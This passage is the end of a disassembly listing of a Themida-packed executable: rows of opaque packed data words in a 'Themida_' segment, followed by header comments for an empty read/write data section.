		dd 90E00B0Dh, 396D7114h, 1BD0EB1h, 8020899Dh, 0D0F8151Bh
		dd 1222E0ABh, 5CA06E29h, 0ED27C3AFh, 895B8FF2h,	49168FB2h
		dd 0B2C73A0Dh, 131892D8h, 6981D006h, 19CD2778h,	0D38D0B38h
		dd 1DC6D0C0h, 993F9CFEh, 666BA528h, 548DEDF2h, 78071284h
		dd 0BD8A43BAh, 0C9C9D2F3h, 0EAE44A0Ah, 0B93DB427h, 3F4F81EAh
		dd 7C6D95Ch, 0C8537A13h, 0B4D507EFh, 267ABF16h,	52261071h
		dd 2A5BFD0Dh, 5922FF9Ch, 5DFD9AE1h, 403930B2h, 0E28548DDh
		dd 987E255Bh, 1A2D23EBh, 0A160C7Ah, 70F28D5Ch, 7A487E6Dh
		dd 0F891B454h, 4050B14Fh, 7EEA63CEh, 8C4F1170h,	688364Ch
		dd 9C45BF47h, 0D84EBC5h, 91E7CA4Ch, 5776D2C1h, 13F15463h
		dd 1B7CD966h, 0BEDA23BAh, 2D58C099h, 0A5F6AAB3h, 0D7BB0FB5h
		dd 2EFD94CCh, 3070EE72h, 38E630A4h, 0F647E5E7h,	7AD97D58h
		dd 0F66BF942h, 48F6CAAEh, 6549FB20h, 369C6F23h,	0E588F55Eh
		dd 44DE8E1Fh, 7371E500h, 2E47961Bh, 0B25838B4h,	22296181h
		dd 61DD9B9Ah, 5159A313h, 68700B61h, 0E8F2F484h,	9133C553h
		dd 85B84EF4h, 166C7E08h, 7226B807h, 7476D7Bh, 773217h
		dd 87406291h, 6F07D585h, 0DC3C497Bh, 0C0B6908h,	36CB529Ah
		dd 1AE48DA8h, 1EB9C544h, 1CB2DA83h, 0F60D717h, 0DC491707h
		dd 0EDA73F92h, 3AE0EBE7h, 852E2DE4h, 762FC7A4h,	9562B435h
		dd 1882D6C3h, 370831E8h, 0BA15ED95h, 0C33CACA9h, 35924EE2h
		dd 0C252015Ah, 0CE8649D6h, 5A14D736h, 74BFEE56h, 0D0529751h
		dd 68DE5ACEh, 0FD87F99Fh, 3A88AFAFh, 0CBDC19CAh, 668627E7h
		dd 12F969C1h, 8037D13Ch, 0B00926Ch, 57540B2Ah, 1649463Dh
		dd 817A1C96h, 21D162ACh
		dd 5DFBCEB7h, 85F4E718h, 0AC5FAA26h, 65A29F31h,	47DBAEAFh
		dd 0E9ECF500h, 0BA406E3Eh, 0C95D2329h, 5E667F8Ah, 4CD41B0h
		dd 64D7EBA3h, 0D4E0CA0Dh, 8F73BD2Ah, 0A723A71Dh, 0B67A5EB5h
		dd 140C5D9Ah, 7E567BB7h, 40D4FFFDh, 0C538DF93h,	6F19EB90h
		dd 3B1689AFh, 649CC02h,	574AB09Eh, 9D4BD7C9h, 18496778h
		dd 7CD15380h, 0F07F5D83h, 16C00801h, 9BBFC363h,	1BD024D9h
		dd 65ABF0Eh, 8E47D03Dh,	57DEB602h, 904BC908h, 3CD45A1h
		dd 524F1390h, 111A9717h, 86AC6155h, 0AFC2A86Bh,	0F857B416h
		dd 3562445Eh, 5811DFD5h, 9322F64Fh, 1AC651B1h, 6C1CDB65h
		dd 0A2F436F8h, 0AD1A1B5Bh, 0FB980D1Dh, 5B831407h, 33944EFFh
		dd 0A93FA97h, 0EBAF4A8Dh, 0FD8DFA3Ah, 43C394C9h, 3DE2FFB4h
		dd 0A4777C36h, 4929BF84h, 0DC6C8AC5h, 92020E43h, 0E33891E1h
		dd 0BEFE153Fh, 0DA7C98BEh, 0D0FA38F9h, 2C74BBEDh, 640EA019h
		dd 14BFC9h, 6BF22A33h, 0DF54F93Ah, 0F3F4BA72h, 0D6453840h
		dd 9609D02Bh, 3F094456h, 3F23h,	1197h dup(0)
Themida_	ends

; Section 5. (virtual address 0021F000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 0021F000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 61F000h
		align 2000h
_idata2		ends


		end start